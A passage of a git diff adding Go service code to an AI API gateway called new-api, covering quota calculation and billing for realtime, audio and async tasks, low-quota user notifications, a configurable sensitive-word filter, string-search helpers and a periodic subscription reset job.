+	quota = quota.Add(inputAudioTokens.Mul(audioRatio))
+	quota = quota.Add(outputAudioTokens.Mul(audioRatio).Mul(audioCompletionRatio))
+
+	quota = quota.Mul(ratio)
+
+	// If ratio is not zero and quota is less than or equal to zero, set quota to 1
+	if !ratio.IsZero() && quota.LessThanOrEqual(decimal.Zero) {
+		quota = decimal.NewFromInt(1)
+	}
+
+	return int(quota.Round(0).IntPart())
+}
+
+func PreWssConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.RealtimeUsage) error {
+	if relayInfo.UsePrice {
+		return nil
+	}
+	userQuota, err := model.GetUserQuota(relayInfo.UserId, false)
+	if err != nil {
+		return err
+	}
+
+	token, err := model.GetTokenByKey(strings.TrimPrefix(relayInfo.TokenKey, "sk-"), false)
+	if err != nil {
+		return err
+	}
+
+	modelName := relayInfo.OriginModelName
+	textInputTokens := usage.InputTokenDetails.TextTokens
+	textOutTokens := usage.OutputTokenDetails.TextTokens
+	audioInputTokens := usage.InputTokenDetails.AudioTokens
+	audioOutTokens := usage.OutputTokenDetails.AudioTokens
+	groupRatio := ratio_setting.GetGroupRatio(relayInfo.UsingGroup)
+	modelRatio, _, _ := ratio_setting.GetModelRatio(modelName)
+
+	autoGroup, exists := common.GetContextKey(ctx, constant.ContextKeyAutoGroup)
+	if exists {
+		groupRatio = ratio_setting.GetGroupRatio(autoGroup.(string))
+		log.Printf("final group ratio: %f", groupRatio)
+		relayInfo.UsingGroup = autoGroup.(string)
+	}
+
+	actualGroupRatio := groupRatio
+	userGroupRatio, ok := ratio_setting.GetGroupGroupRatio(relayInfo.UserGroup, relayInfo.UsingGroup)
+	if ok {
+		actualGroupRatio = userGroupRatio
+	}
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  modelName,
+		UsePrice:   relayInfo.UsePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: actualGroupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+
+	if userQuota < quota {
+		return fmt.Errorf("user quota is not enough, user quota: %s, need quota: %s", logger.FormatQuota(userQuota), logger.FormatQuota(quota))
+	}
+
+	if !token.UnlimitedQuota && token.RemainQuota < quota {
+		return fmt.Errorf("token quota is not enough, token remain quota: %s, need quota: %s", logger.FormatQuota(token.RemainQuota), logger.FormatQuota(quota))
+	}
+
+	err = PostConsumeQuota(relayInfo, quota, 0, false)
+	if err != nil {
+		return err
+	}
+	logger.LogInfo(ctx, "realtime streaming consume quota success, quota: "+fmt.Sprintf("%d", quota))
+	return nil
+}
+
+func PostWssConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, modelName string,
+	usage *dto.RealtimeUsage, extraContent string) {
+
+	var tieredResult *billingexpr.TieredResult
+	tieredOk, tieredQuota, tieredRes := TryTieredSettle(relayInfo, billingexpr.TokenParams{
+		P:   float64(usage.InputTokens),
+		C:   float64(usage.OutputTokens),
+		Len: float64(usage.InputTokens),
+	})
+	if tieredOk {
+		tieredResult = tieredRes
+	}
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	textInputTokens := usage.InputTokenDetails.TextTokens
+	textOutTokens := usage.OutputTokenDetails.TextTokens
+
+	audioInputTokens := usage.InputTokenDetails.AudioTokens
+	audioOutTokens := usage.OutputTokenDetails.AudioTokens
+
+	tokenName := ctx.GetString("token_name")
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(modelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(relayInfo.OriginModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(modelName))
+
+	modelRatio := relayInfo.PriceData.ModelRatio
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	modelPrice := relayInfo.PriceData.ModelPrice
+	usePrice := relayInfo.PriceData.UsePrice
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  modelName,
+		UsePrice:   usePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: groupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+	if tieredOk {
+		quota = tieredQuota
+	}
+
+	totalTokens := usage.TotalTokens
+	var logContent string
+	if !usePrice {
+		logContent = fmt.Sprintf("模型倍率 %.2f，补全倍率 %.2f，音频倍率 %.2f，音频补全倍率 %.2f，分组倍率 %.2f",
+			modelRatio, completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), groupRatio)
+	} else {
+		logContent = fmt.Sprintf("模型价格 %.2f，分组倍率 %.2f", modelPrice, groupRatio)
+	}
+
+	// record all the consume log even if quota is 0
+	if totalTokens == 0 {
+		// in this case, must be some error happened
+		// we cannot just return, because we may have to return the pre-consumed quota
+		quota = 0
+		logContent += fmt.Sprintf("（可能是上游超时）")
+		logger.LogError(ctx, fmt.Sprintf("total tokens is 0, cannot consume quota, userId %d, channelId %d, "+
+			"tokenId %d, model %s， pre-consumed quota %d", relayInfo.UserId, relayInfo.ChannelId, relayInfo.TokenId, modelName, relayInfo.FinalPreConsumedQuota))
+	} else {
+		model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, quota)
+		model.UpdateChannelUsedQuota(relayInfo.ChannelId, quota)
+	}
+
+	if err := SettleBilling(ctx, relayInfo, quota); err != nil {
+		logger.LogError(ctx, "error settling billing: "+err.Error())
+	}
+
+	logModel := modelName
+	if extraContent != "" {
+		logContent += ", " + extraContent
+	}
+	other := GenerateWssOtherInfo(ctx, relayInfo, usage, modelRatio, groupRatio,
+		completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), modelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+	if tieredResult != nil {
+		InjectTieredBillingInfo(other, relayInfo, tieredResult)
+	}
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:        relayInfo.ChannelId,
+		PromptTokens:     usage.InputTokens,
+		CompletionTokens: usage.OutputTokens,
+		ModelName:        logModel,
+		TokenName:        tokenName,
+		Quota:            quota,
+		Content:          logContent,
+		TokenId:          relayInfo.TokenId,
+		UseTimeSeconds:   int(useTimeSeconds),
+		IsStream:         relayInfo.IsStream,
+		Group:            relayInfo.UsingGroup,
+		Other:            other,
+	})
+}
+
+func CalcOpenRouterCacheCreateTokens(usage dto.Usage, priceData types.PriceData) int {
+	if priceData.CacheCreationRatio == 1 {
+		return 0
+	}
+	quotaPrice := priceData.ModelRatio / common.QuotaPerUnit
+	promptCacheCreatePrice := quotaPrice * priceData.CacheCreationRatio
+	promptCacheReadPrice := quotaPrice * priceData.CacheRatio
+	completionPrice := quotaPrice * priceData.CompletionRatio
+
+	cost, _ := usage.Cost.(float64)
+	totalPromptTokens := float64(usage.PromptTokens)
+	completionTokens := float64(usage.CompletionTokens)
+	promptCacheReadTokens := float64(usage.PromptTokensDetails.CachedTokens)
+
+	return int(math.Round((cost -
+		totalPromptTokens*quotaPrice +
+		promptCacheReadTokens*(quotaPrice-promptCacheReadPrice) -
+		completionTokens*completionPrice) /
+		(promptCacheCreatePrice - quotaPrice)))
+}
+
+func PostAudioConsumeQuota(ctx *gin.Context, relayInfo *relaycommon.RelayInfo, usage *dto.Usage, extraContent string) {
+
+	var tieredUsedVars map[string]bool
+	if snap := relayInfo.TieredBillingSnapshot; snap != nil {
+		tieredUsedVars = billingexpr.UsedVars(snap.ExprString)
+	}
+	var tieredResult *billingexpr.TieredResult
+	tieredOk, tieredQuota, tieredRes := TryTieredSettle(relayInfo, BuildTieredTokenParams(usage, false, tieredUsedVars))
+	if tieredOk {
+		tieredResult = tieredRes
+	}
+
+	useTimeSeconds := time.Now().Unix() - relayInfo.StartTime.Unix()
+	textInputTokens := usage.PromptTokensDetails.TextTokens
+	textOutTokens := usage.CompletionTokenDetails.TextTokens
+
+	audioInputTokens := usage.PromptTokensDetails.AudioTokens
+	audioOutTokens := usage.CompletionTokenDetails.AudioTokens
+
+	tokenName := ctx.GetString("token_name")
+	completionRatio := decimal.NewFromFloat(ratio_setting.GetCompletionRatio(relayInfo.OriginModelName))
+	audioRatio := decimal.NewFromFloat(ratio_setting.GetAudioRatio(relayInfo.OriginModelName))
+	audioCompletionRatio := decimal.NewFromFloat(ratio_setting.GetAudioCompletionRatio(relayInfo.OriginModelName))
+
+	modelRatio := relayInfo.PriceData.ModelRatio
+	groupRatio := relayInfo.PriceData.GroupRatioInfo.GroupRatio
+	modelPrice := relayInfo.PriceData.ModelPrice
+	usePrice := relayInfo.PriceData.UsePrice
+
+	quotaInfo := QuotaInfo{
+		InputDetails: TokenDetails{
+			TextTokens:  textInputTokens,
+			AudioTokens: audioInputTokens,
+		},
+		OutputDetails: TokenDetails{
+			TextTokens:  textOutTokens,
+			AudioTokens: audioOutTokens,
+		},
+		ModelName:  relayInfo.OriginModelName,
+		UsePrice:   usePrice,
+		ModelRatio: modelRatio,
+		GroupRatio: groupRatio,
+	}
+
+	quota := calculateAudioQuota(quotaInfo)
+	if tieredOk {
+		quota = tieredQuota
+	}
+
+	totalTokens := usage.TotalTokens
+	var logContent string
+	if !usePrice {
+		logContent = fmt.Sprintf("模型倍率 %.2f，补全倍率 %.2f，音频倍率 %.2f，音频补全倍率 %.2f，分组倍率 %.2f",
+			modelRatio, completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), groupRatio)
+	} else {
+		logContent = fmt.Sprintf("模型价格 %.2f，分组倍率 %.2f", modelPrice, groupRatio)
+	}
+
+	// record all the consume log even if quota is 0
+	if totalTokens == 0 {
+		// in this case, must be some error happened
+		// we cannot just return, because we may have to return the pre-consumed quota
+		quota = 0
+		logContent += fmt.Sprintf("（可能是上游超时）")
+		logger.LogError(ctx, fmt.Sprintf("total tokens is 0, cannot consume quota, userId %d, channelId %d, "+
+			"tokenId %d, model %s， pre-consumed quota %d", relayInfo.UserId, relayInfo.ChannelId, relayInfo.TokenId, relayInfo.OriginModelName, relayInfo.FinalPreConsumedQuota))
+	} else {
+		model.UpdateUserUsedQuotaAndRequestCount(relayInfo.UserId, quota)
+		model.UpdateChannelUsedQuota(relayInfo.ChannelId, quota)
+	}
+
+	if err := SettleBilling(ctx, relayInfo, quota); err != nil {
+		logger.LogError(ctx, "error settling billing: "+err.Error())
+	}
+
+	logModel := relayInfo.OriginModelName
+	if extraContent != "" {
+		logContent += ", " + extraContent
+	}
+	other := GenerateAudioOtherInfo(ctx, relayInfo, usage, modelRatio, groupRatio,
+		completionRatio.InexactFloat64(), audioRatio.InexactFloat64(), audioCompletionRatio.InexactFloat64(), modelPrice, relayInfo.PriceData.GroupRatioInfo.GroupSpecialRatio)
+	if tieredResult != nil {
+		InjectTieredBillingInfo(other, relayInfo, tieredResult)
+	}
+	model.RecordConsumeLog(ctx, relayInfo.UserId, model.RecordConsumeLogParams{
+		ChannelId:        relayInfo.ChannelId,
+		PromptTokens:     usage.PromptTokens,
+		CompletionTokens: usage.CompletionTokens,
+		ModelName:        logModel,
+		TokenName:        tokenName,
+		Quota:            quota,
+		Content:          logContent,
+		TokenId:          relayInfo.TokenId,
+		UseTimeSeconds:   int(useTimeSeconds),
+		IsStream:         relayInfo.IsStream,
+		Group:            relayInfo.UsingGroup,
+		Other:            other,
+	})
+}
+
+func PreConsumeTokenQuota(relayInfo *relaycommon.RelayInfo, quota int) error {
+	if quota < 0 {
+		return errors.New("quota 不能为负数！")
+	}
+	if relayInfo.IsPlayground {
+		return nil
+	}
+	//if relayInfo.TokenUnlimited {
+	//	return nil
+	//}
+	token, err := model.GetTokenByKey(relayInfo.TokenKey, false)
+	if err != nil {
+		return err
+	}
+	if !relayInfo.TokenUnlimited && token.RemainQuota < quota {
+		return fmt.Errorf("token quota is not enough, token remain quota: %s, need quota: %s", logger.FormatQuota(token.RemainQuota), logger.FormatQuota(quota))
+	}
+	err = model.DecreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, quota)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+func PostConsumeQuota(relayInfo *relaycommon.RelayInfo, quota int, preConsumedQuota int, sendEmail bool) (err error) {
+
+	// 1) Consume from wallet quota OR subscription item
+	if relayInfo != nil && relayInfo.BillingSource == BillingSourceSubscription {
+		if relayInfo.SubscriptionId == 0 {
+			return errors.New("subscription id is missing")
+		}
+		delta := int64(quota)
+		if delta != 0 {
+			if err := model.PostConsumeUserSubscriptionDelta(relayInfo.SubscriptionId, delta); err != nil {
+				return err
+			}
+			relayInfo.SubscriptionPostDelta += delta
+		}
+	} else {
+		// Wallet
+		if quota > 0 {
+			err = model.DecreaseUserQuota(relayInfo.UserId, quota, false)
+		} else {
+			err = model.IncreaseUserQuota(relayInfo.UserId, -quota, false)
+		}
+		if err != nil {
+			return err
+		}
+	}
+
+	if !relayInfo.IsPlayground {
+		if quota > 0 {
+			err = model.DecreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, quota)
+		} else {
+			err = model.IncreaseTokenQuota(relayInfo.TokenId, relayInfo.TokenKey, -quota)
+		}
+		if err != nil {
+			return err
+		}
+	}
+
+	if sendEmail {
+		if (quota + preConsumedQuota) != 0 {
+			checkAndSendQuotaNotify(relayInfo, quota, preConsumedQuota)
+		}
+	}
+
+	return nil
+}
+
+func checkAndSendQuotaNotify(relayInfo *relaycommon.RelayInfo, quota int, preConsumedQuota int) {
+	gopool.Go(func() {
+		userSetting := relayInfo.UserSetting
+		threshold := common.QuotaRemindThreshold
+		if userSetting.QuotaWarningThreshold != 0 {
+			threshold = int(userSetting.QuotaWarningThreshold)
+		}
+
+		//noMoreQuota := userCache.Quota-(quota+preConsumedQuota) <= 0
+		quotaTooLow := false
+		consumeQuota := quota + preConsumedQuota
+		if relayInfo.UserQuota-consumeQuota < threshold {
+			quotaTooLow = true
+		}
+		if quotaTooLow {
+			prompt := "您的额度即将用尽"
+			topUpLink := fmt.Sprintf("%s/console/topup", system_setting.ServerAddress)
+
+			// 根据通知方式生成不同的内容格式
+			var content string
+			var values []interface{}
+
+			notifyType := userSetting.NotifyType
+			if notifyType == "" {
+				notifyType = dto.NotifyTypeEmail
+			}
+
+			if notifyType == dto.NotifyTypeBark {
+				// Bark推送使用简短文本，不支持HTML
+				content = "{{value}}，剩余额度：{{value}}，请及时充值"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota)}
+			} else if notifyType == dto.NotifyTypeGotify {
+				content = "{{value}}，当前剩余额度为 {{value}}，请及时充值。"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota)}
+			} else {
+				// 默认内容格式，适用于Email和Webhook（支持HTML）
+				content = "{{value}}，当前剩余额度为 {{value}}，为了不影响您的使用，请及时充值。<br/>充值链接：<a href='{{value}}'>{{value}}</a>"
+				values = []interface{}{prompt, logger.FormatQuota(relayInfo.UserQuota), topUpLink, topUpLink}
+			}
+
+			err := NotifyUser(relayInfo.UserId, relayInfo.UserEmail, relayInfo.UserSetting, dto.NewNotify(dto.NotifyTypeQuotaExceed, prompt, content, values))
+			if err != nil {
+				common.SysError(fmt.Sprintf("failed to send quota notify to user %d: %s", relayInfo.UserId, err.Error()))
+			}
+		}
+	})
+}
+
+func checkAndSendSubscriptionQuotaNotify(relayInfo *relaycommon.RelayInfo) {
+	gopool.Go(func() {
+		if relayInfo == nil {
+			return
+		}
+		if relayInfo.SubscriptionId == 0 || relayInfo.SubscriptionAmountTotal <= 0 {
+			return
+		}
+
+		userSetting := relayInfo.UserSetting
+		threshold := common.QuotaRemindThreshold
+		if userSetting.QuotaWarningThreshold != 0 {
+			threshold = int(userSetting.QuotaWarningThreshold)
+		}
+
+		usedAfter := relayInfo.SubscriptionAmountUsedAfterPreConsume + relayInfo.SubscriptionPostDelta
+		remaining := relayInfo.SubscriptionAmountTotal - usedAfter
+		if remaining >= int64(threshold) {
+			return
+		}
+
+		prompt := "您的订阅额度即将用尽"
+		topUpLink := fmt.Sprintf("%s/console/topup", system_setting.ServerAddress)
+
+		var content string
+		var values []interface{}
+		notifyType := userSetting.NotifyType
+		if notifyType == "" {
+			notifyType = dto.NotifyTypeEmail
+		}
+
+		if notifyType == dto.NotifyTypeBark {
+			content = "{{value}}，剩余额度：{{value}}，请及时充值"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining))}
+		} else if notifyType == dto.NotifyTypeGotify {
+			content = "{{value}}，当前剩余额度为 {{value}}，请及时充值。"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining))}
+		} else {
+			content = "{{value}}，当前剩余额度为 {{value}}，为了不影响您的使用，请及时充值。<br/>充值链接：<a href='{{value}}'>{{value}}</a>"
+			values = []interface{}{prompt, logger.FormatQuota(int(remaining)), topUpLink, topUpLink}
+		}
+
+		if err := NotifyUser(relayInfo.UserId, relayInfo.UserEmail, relayInfo.UserSetting, dto.NewNotify(dto.NotifyTypeQuotaExceed, prompt, content, values)); err != nil {
+			common.SysError(fmt.Sprintf("failed to send subscription quota notify to user %d: %s", relayInfo.UserId, err.Error()))
+		}
+	})
+}
diff --git a/new-api/service/sensitive.go b/new-api/service/sensitive.go
new file mode 100644
index 0000000..3c78099
--- /dev/null
+++ b/new-api/service/sensitive.go
@@ -0,0 +1,77 @@
+package service
+
+import (
+	"errors"
+	"strings"
+
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/setting"
+)
+
+func CheckSensitiveMessages(messages []dto.Message) ([]string, error) {
+	if len(messages) == 0 {
+		return nil, nil
+	}
+
+	for _, message := range messages {
+		arrayContent := message.ParseContent()
+		for _, m := range arrayContent {
+			if m.Type == "image_url" {
+				// TODO: check image url
+				continue
+			}
+			// 检查 text 是否为空
+			if m.Text == "" {
+				continue
+			}
+			if ok, words := SensitiveWordContains(m.Text); ok {
+				return words, errors.New("sensitive words detected")
+			}
+		}
+	}
+	return nil, nil
+}
+
+func CheckSensitiveText(text string) (bool, []string) {
+	return SensitiveWordContains(text)
+}
+
+// SensitiveWordContains 是否包含敏感词，返回是否包含敏感词和敏感词列表
+func SensitiveWordContains(text string) (bool, []string) {
+	if len(setting.SensitiveWords) == 0 {
+		return false, nil
+	}
+	if len(text) == 0 {
+		return false, nil
+	}
+	checkText := strings.ToLower(text)
+	return AcSearch(checkText, setting.SensitiveWords, true)
+}
+
+// SensitiveWordReplace 敏感词替换，返回是否包含敏感词和替换后的文本
+func SensitiveWordReplace(text string, returnImmediately bool) (bool, []string, string) {
+	if len(setting.SensitiveWords) == 0 {
+		return false, nil, text
+	}
+	checkText := strings.ToLower(text)
+	m := getOrBuildAC(setting.SensitiveWords)
+	hits := m.MultiPatternSearch([]rune(checkText), returnImmediately)
+	if len(hits) > 0 {
+		words := make([]string, 0, len(hits))
+		var builder strings.Builder
+		builder.Grow(len(text))
+		lastPos := 0
+
+		for _, hit := range hits {
+			pos := hit.Pos
+			word := string(hit.Word)
+			builder.WriteString(text[lastPos:pos])
+			builder.WriteString("**###**")
+			lastPos = pos + len(word)
+			words = append(words, word)
+		}
+		builder.WriteString(text[lastPos:])
+		return true, words, builder.String()
+	}
+	return false, nil, text
+}
diff --git a/new-api/service/str.go b/new-api/service/str.go
new file mode 100644
index 0000000..61054bd
--- /dev/null
+++ b/new-api/service/str.go
@@ -0,0 +1,152 @@
+package service
+
+import (
+	"bytes"
+	"fmt"
+	"hash/fnv"
+	"sort"
+	"strings"
+	"sync"
+
+	goahocorasick "github.com/anknown/ahocorasick"
+)
+
+func SundaySearch(text string, pattern string) bool {
+	// 计算偏移表
+	offset := make(map[rune]int)
+	for i, c := range pattern {
+		offset[c] = len(pattern) - i
+	}
+
+	// 文本串长度和模式串长度
+	n, m := len(text), len(pattern)
+
+	// 主循环，i表示当前对齐的文本串位置
+	for i := 0; i <= n-m; {
+		// 检查子串
+		j := 0
+		for j < m && text[i+j] == pattern[j] {
+			j++
+		}
+		// 如果完全匹配，返回匹配位置
+		if j == m {
+			return true
+		}
+
+		// 如果还有剩余字符，则检查下一位字符在偏移表中的值
+		if i+m < n {
+			next := rune(text[i+m])
+			if val, ok := offset[next]; ok {
+				i += val // 存在于偏移表中，进行跳跃
+			} else {
+				i += len(pattern) + 1 // 不存在于偏移表中，跳过整个模式串长度
+			}
+		} else {
+			break
+		}
+	}
+	return false // 如果没有找到匹配，返回-1
+}
+
+func RemoveDuplicate(s []string) []string {
+	result := make([]string, 0, len(s))
+	temp := map[string]struct{}{}
+	for _, item := range s {
+		if _, ok := temp[item]; !ok {
+			temp[item] = struct{}{}
+			result = append(result, item)
+		}
+	}
+	return result
+}
+
+func InitAc(dict []string) *goahocorasick.Machine {
+	m := new(goahocorasick.Machine)
+	runes := readRunes(dict)
+	if err := m.Build(runes); err != nil {
+		fmt.Println(err)
+		return nil
+	}
+	return m
+}
+
+var acCache sync.Map
+
+func acKey(dict []string) string {
+	if len(dict) == 0 {
+		return ""
+	}
+	normalized := make([]string, 0, len(dict))
+	for _, w := range dict {
+		w = strings.ToLower(strings.TrimSpace(w))
+		if w != "" {
+			normalized = append(normalized, w)
+		}
+	}
+	if len(normalized) == 0 {
+		return ""
+	}
+	sort.Strings(normalized)
+	hasher := fnv.New64a()
+	for _, w := range normalized {
+		hasher.Write([]byte{0})
+		hasher.Write([]byte(w))
+	}
+	return fmt.Sprintf("%x", hasher.Sum64())
+}
+
+func getOrBuildAC(dict []string) *goahocorasick.Machine {
+	key := acKey(dict)
+	if key == "" {
+		return nil
+	}
+	if v, ok := acCache.Load(key); ok {
+		if m, ok2 := v.(*goahocorasick.Machine); ok2 {
+			return m
+		}
+	}
+	m := InitAc(dict)
+	if m == nil {
+		return nil
+	}
+	if actual, loaded := acCache.LoadOrStore(key, m); loaded {
+		if cached, ok := actual.(*goahocorasick.Machine); ok {
+			return cached
+		}
+	}
+	return m
+}
+
+func readRunes(dict []string) [][]rune {
+	var runes [][]rune
+
+	for _, word := range dict {
+		word = strings.ToLower(word)
+		l := bytes.TrimSpace([]byte(word))
+		runes = append(runes, bytes.Runes(l))
+	}
+
+	return runes
+}
+
+func AcSearch(findText string, dict []string, stopImmediately bool) (bool, []string) {
+	if len(dict) == 0 {
+		return false, nil
+	}
+	if len(findText) == 0 {
+		return false, nil
+	}
+	m := getOrBuildAC(dict)
+	if m == nil {
+		return false, nil
+	}
+	hits := m.MultiPatternSearch([]rune(findText), stopImmediately)
+	if len(hits) > 0 {
+		words := make([]string, 0)
+		for _, hit := range hits {
+			words = append(words, string(hit.Word))
+		}
+		return true, words
+	}
+	return false, nil
+}
diff --git a/new-api/service/subscription_reset_task.go b/new-api/service/subscription_reset_task.go
new file mode 100644
index 0000000..9dcd373
--- /dev/null
+++ b/new-api/service/subscription_reset_task.go
@@ -0,0 +1,93 @@
+package service
+
+import (
+	"context"
+	"fmt"
+	"sync"
+	"sync/atomic"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+
+	"github.com/bytedance/gopkg/util/gopool"
+)
+
+const (
+	subscriptionResetTickInterval = 1 * time.Minute
+	subscriptionResetBatchSize    = 300
+	subscriptionCleanupInterval   = 30 * time.Minute
+)
+
+var (
+	subscriptionResetOnce    sync.Once
+	subscriptionResetRunning atomic.Bool
+	subscriptionCleanupLast  atomic.Int64
+)
+
+func StartSubscriptionQuotaResetTask() {
+	subscriptionResetOnce.Do(func() {
+		if !common.IsMasterNode {
+			return
+		}
+		gopool.Go(func() {
+			logger.LogInfo(context.Background(), fmt.Sprintf("subscription quota reset task started: tick=%s", subscriptionResetTickInterval))
+			ticker := time.NewTicker(subscriptionResetTickInterval)
+			defer ticker.Stop()
+
+			runSubscriptionQuotaResetOnce()
+			for range ticker.C {
+				runSubscriptionQuotaResetOnce()
+			}
+		})
+	})
+}
+
+func runSubscriptionQuotaResetOnce() {
+	if !subscriptionResetRunning.CompareAndSwap(false, true) {
+		return
+	}
+	defer subscriptionResetRunning.Store(false)
+
+	ctx := context.Background()
+	totalReset := 0
+	totalExpired := 0
+	for {
+		n, err := model.ExpireDueSubscriptions(subscriptionResetBatchSize)
+		if err != nil {
+			logger.LogWarn(ctx, fmt.Sprintf("subscription expire task failed: %v", err))
+			return
+		}
+		if n == 0 {
+			break
+		}
+		totalExpired += n
+		if n < subscriptionResetBatchSize {
+			break
+		}
+	}
+	for {
+		n, err := model.ResetDueSubscriptions(subscriptionResetBatchSize)
+		if err != nil {
+			logger.LogWarn(ctx, fmt.Sprintf("subscription quota reset task failed: %v", err))
+			return
+		}
+		if n == 0 {
+			break
+		}
+		totalReset += n
+		if n < subscriptionResetBatchSize {
+			break
+		}
+	}
+	lastCleanup := time.Unix(subscriptionCleanupLast.Load(), 0)
+	if time.Since(lastCleanup) >= subscriptionCleanupInterval {
+		if _, err := model.CleanupSubscriptionPreConsumeRecords(7 * 24 * 3600); err == nil {
+			subscriptionCleanupLast.Store(time.Now().Unix())
+		}
+	}
+	if common.DebugEnabled && (totalReset > 0 || totalExpired > 0) {
+		logger.LogDebug(ctx, "subscription maintenance: reset_count=%d, expired_count=%d", totalReset, totalExpired)
+	}
+}
diff --git a/new-api/service/task.go b/new-api/service/task.go
new file mode 100644
index 0000000..b33ef29
--- /dev/null
+++ b/new-api/service/task.go
@@ -0,0 +1,11 @@
+package service
+
+import (
+	"strings"
+
+	"github.com/QuantumNous/new-api/constant"
+)
+
+func CoverTaskActionToModelName(platform constant.TaskPlatform, action string) string {
+	return strings.ToLower(string(platform)) + "_" + strings.ToLower(action)
+}
diff --git a/new-api/service/task_billing.go b/new-api/service/task_billing.go
new file mode 100644
index 0000000..6cf7a96
--- /dev/null
+++ b/new-api/service/task_billing.go
@@ -0,0 +1,301 @@
+package service
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+	"github.com/gin-gonic/gin"
+)
+
+// LogTaskConsumption 记录任务消费日志和统计信息（仅记录，不涉及实际扣费）。
+// 实际扣费已由 BillingSession（PreConsumeBilling + SettleBilling）完成。
+func LogTaskConsumption(c *gin.Context, info *relaycommon.RelayInfo) {
+	tokenName := c.GetString("token_name")
+	logContent := fmt.Sprintf("操作 %s", info.Action)
+	// 支持任务仅按次计费
+	if common.StringsContains(constant.TaskPricePatches, info.OriginModelName) {
+		logContent = fmt.Sprintf("%s，按次计费", logContent)
+	} else {
+		if len(info.PriceData.OtherRatios) > 0 {
+			var contents []string
+			for key, ra := range info.PriceData.OtherRatios {
+				if 1.0 != ra {
+					contents = append(contents, fmt.Sprintf("%s: %.2f", key, ra))
+				}
+			}
+			if len(contents) > 0 {
+				logContent = fmt.Sprintf("%s, 计算参数：%s", logContent, strings.Join(contents, ", "))
+			}
+		}
+	}
+	other := make(map[string]interface{})
+	other["is_task"] = true
+	other["request_path"] = c.Request.URL.Path
+	other["model_price"] = info.PriceData.ModelPrice
+	if info.PriceData.ModelRatio > 0 {
+		other["model_ratio"] = info.PriceData.ModelRatio
+	}
+	other["group_ratio"] = info.PriceData.GroupRatioInfo.GroupRatio
+	if info.PriceData.GroupRatioInfo.HasSpecialRatio {
+		other["user_group_ratio"] = info.PriceData.GroupRatioInfo.GroupSpecialRatio
+	}
+	if info.IsModelMapped {
+		other["is_model_mapped"] = true
+		other["upstream_model_name"] = info.UpstreamModelName
+	}
+	model.RecordConsumeLog(c, info.UserId, model.RecordConsumeLogParams{
+		ChannelId: info.ChannelId,
+		ModelName: info.OriginModelName,
+		TokenName: tokenName,
+		Quota:     info.PriceData.Quota,
+		Content:   logContent,
+		TokenId:   info.TokenId,
+		Group:     info.UsingGroup,
+		Other:     other,
+	})
+	model.UpdateUserUsedQuotaAndRequestCount(info.UserId, info.PriceData.Quota)
+	model.UpdateChannelUsedQuota(info.ChannelId, info.PriceData.Quota)
+}
+
+// ---------------------------------------------------------------------------
+// 异步任务计费辅助函数
+// ---------------------------------------------------------------------------
+
+// resolveTokenKey 通过 TokenId 运行时获取令牌 Key（用于 Redis 缓存操作）。
+// 如果令牌已被删除或查询失败，返回空字符串。
+func resolveTokenKey(ctx context.Context, tokenId int, taskID string) string {
+	token, err := model.GetTokenById(tokenId)
+	if err != nil {
+		logger.LogWarn(ctx, fmt.Sprintf("获取令牌 key 失败 (tokenId=%d, task=%s): %s", tokenId, taskID, err.Error()))
+		return ""
+	}
+	return token.Key
+}
+
+// taskIsSubscription 判断任务是否通过订阅计费。
+func taskIsSubscription(task *model.Task) bool {
+	return task.PrivateData.BillingSource == BillingSourceSubscription && task.PrivateData.SubscriptionId > 0
+}
+
+// taskAdjustFunding 调整任务的资金来源（钱包或订阅），delta > 0 表示扣费，delta < 0 表示退还。
+func taskAdjustFunding(task *model.Task, delta int) error {
+	if taskIsSubscription(task) {
+		return model.PostConsumeUserSubscriptionDelta(task.PrivateData.SubscriptionId, int64(delta))
+	}
+	if delta > 0 {
+		return model.DecreaseUserQuota(task.UserId, delta, false)
+	}
+	return model.IncreaseUserQuota(task.UserId, -delta, false)
+}
+
